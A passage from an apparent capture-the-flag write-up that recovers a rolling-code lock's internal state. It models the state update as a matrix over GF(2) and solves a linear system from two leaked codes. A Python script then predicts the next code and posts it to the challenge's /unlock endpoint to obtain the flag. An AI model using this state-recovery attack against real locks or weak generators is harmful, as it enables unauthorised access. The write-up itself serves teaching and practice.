0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \newline \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \newline 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \end{pmatrix} $$
If we call this matrix $A$, we have this relation:
$$ \begin{pmatrix} n_{63} \newline n_{62} \newline \vdots \newline n_1 \newline n_0 \end{pmatrix} = A \cdot \begin{pmatrix} s_{63} \newline s_{62} \newline \vdots \newline s_1 \newline s_0 \end{pmatrix} $$
Where $n$ is the next state and $s$ is the current state within one iteration.
We can tweak this matrix knowing that the first and last bits of every quartet are the same, so $s_{63} = s_{60}$, $s_{59} = s_{56}$ and so on until $s_3 = s_0$:
$$ \begin{pmatrix} 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 \color{red}{1} \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 0 0 0 \color{red}{1} \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \newline 0 0 \color{red}{1} \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \newline 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} \newline 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \end{pmatrix} $$
Notice that we are working in Galois Field of 2-dimension (we only have 0 and 1). Therefore, the sum operation is the same as the XOR operation, and the product is equal to the AND operation.
Let’s remember how the ret (rolling code we need to get the flag) is computed:
ret = 0
for _ in range(26):
ret <<= 1
ret |= state & 1
# Changes in state
It is formed by the least significant bit of state in each iteration. So, we need the last row of matrices $I, A, A^2, A^3, \dots, A^{24}, A^{25}$, which are related to the last bit of the current state on each iteration.
The idea is to solve a system of equations so that we can get the current state. With one rolling code, we have 26 equations (as the code is a 26-bit number). Although the state is 64 bits long, we have shown that every four bits, there are two that have the same value (this fact leads to 16 equations). Hence, we have 48 unknowns. Then, to solve for a complete state, we will need at least two rolling codes. We will need to concatenate the two rolling codes and compute the last row for matrices $A^0$ through $A^{47}$.
These will be some of the equations of the system we need to solve (where $s$ is the state and $r$ and $t$ are the two ret rolling codes):
$$ \begin{cases} s_{63} + s_{60} & = & 0 \newline s_{59} + s_{56} & = & 0 \newline \dots & = & 0 \newline s_3 + s_0 & = & 0 \newline s_0 & = & r_{25} \newline s_{61} + s_2 & = & r_{24} \newline \dots & = & \dots \newline \dots & = & r_0 \newline \dots & = & t_{25} \newline \dots & = & \dots \newline \dots & = & t_5 \newline \dots & = & t_4 \newline \end{cases} $$
This system of equations can be translated into matrix form like this:
$$ M \cdot \begin{pmatrix} s_{63} \newline \dots \newline s_0 \end{pmatrix} = \begin{pmatrix} 0 \newline \overset{(16)}{\dots} \newline 0 \newline r_{25} \newline \dots \newline r_0 \newline t_{25} \newline \dots \newline t_5 \newline t_4 \end{pmatrix} $$
Where $M$ rows are the first 16 equations in matrix form and the last row of the matrices $I, A, A^2, A^3, \dots, A^{47}$.
To solve the system of equations, we can use Gauss elimination working in Galois Field of 2-dimension ($\mathbb{F}_2$):
def gauss_elim(x_mat, b_mat):
aug_mat = add_column(x_mat, b_mat)
for j in range(len(x_mat)):
for i in range(j + 1, len(x_mat)):
if aug_mat[i][j]:
aug_mat[i], aug_mat[j] = aug_mat[j].copy(), aug_mat[i].copy()
break
for i in range(j + 1, len(x_mat)):
if aug_mat[i][j]:
aug_mat[i] = [a ^ b for a, b in zip(aug_mat[i], aug_mat[j])]
for j in range(len(x_mat) - 1, 0, -1):
for i in range(j - 1, -1, -1):
if aug_mat[i][j]:
aug_mat[i] = [a ^ b for a, b in zip(aug_mat[i], aug_mat[j])]
return [r[-1] for r in aug_mat]
The algorithm is well-known, so I will not explain it (one thing to consider is that we are in $\mathbb{F}_2$). Other method to solve this is computing the inverse of $M$ in $\mathbb{F}_2$, which can be done with SageMath.
Anyway, I developed a Python script to solve this part of the challenge automatically:
import re
import requests
import sys
# Functions and global variables
url = sys.argv[1]
def get_code():
r = requests.post(f'{url}/unlock', {'code': 1})
return int(re.findall(r'(\d+)', r.text)[0])
def main():
global state
code1 = get_code()
code2 = get_code()
codes = ('0' * 16 + f'{code1:026b}' + f'{code2:026b}')[:64]
codes_vector = list(map(int, list(codes)))
comp_state = gauss_elim(ret_mat, codes_vector)
state = int(''.join(map(str, comp_state)), 2)
next(26)
next(26)
code3 = next(26)
r = requests.post(f'{url}/unlock', {'code': code3})
print(r.text)
if __name__ == '__main__':
main()
These functions take the two rolling codes from the error message in the website needed to compute the state (comp_state), and then calculate the third rolling code to send it to the lock and get the flag.
The variable ret_mat is matrix $M$, computed as follows:
state_mat_initial = [...]
ret_mat = []
for i in range(16):
ret_mat.append(list(map(int, list(f'{9 << (4 * i):064b}'))))
state_mat = [[int(i == j) for j in range(64)] for i in range(64)]
for _ in range(48):
ret_mat.append(state_mat[-1])
state_mat = multiply_matrix(state_mat, state_mat_initial)
Where state_mat_initial is the tweaked $A$ matrix.
Then we add some operation functions to work in $\mathbb{F}_2$. Again, these algorithms are kind of standard:
def multiply_vector(x_mat, y_vector):
z_vector = [0 for _ in range(len(x_mat))]
for i in range(len(x_mat)):
for k in range(len(y_vector)):
z_vector[i] ^= x_mat[i][k] & y_vector[k]
return z_vector
def multiply_matrix(x_mat, y_mat):
if type(y_mat[0]) == int:
return multiply_vector(x_mat, y_mat)
z_mat = [[0 for _ in range(len(y_mat[0]))] for _ in range(len(x_mat))]
for i in range(len(x_mat)):
for j in range(len(y_mat[i])):
for k in range(len(y_mat)):
z_mat[i][j] ^= x_mat[i][k] & y_mat[k][j]
return z_mat
def add_column(x_mat, y_vector):
z_mat = x_mat.copy()
for i in range(len(y_vector)):
z_mat[i].append(y_vector[i])
return z_mat
Finally, if we run the script, we get the second flag:
$ python3 solve.py http://35.190.155.168/c33a5d03b6
Unlocked successfully. Flag: ^FLAG^xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$FLAG$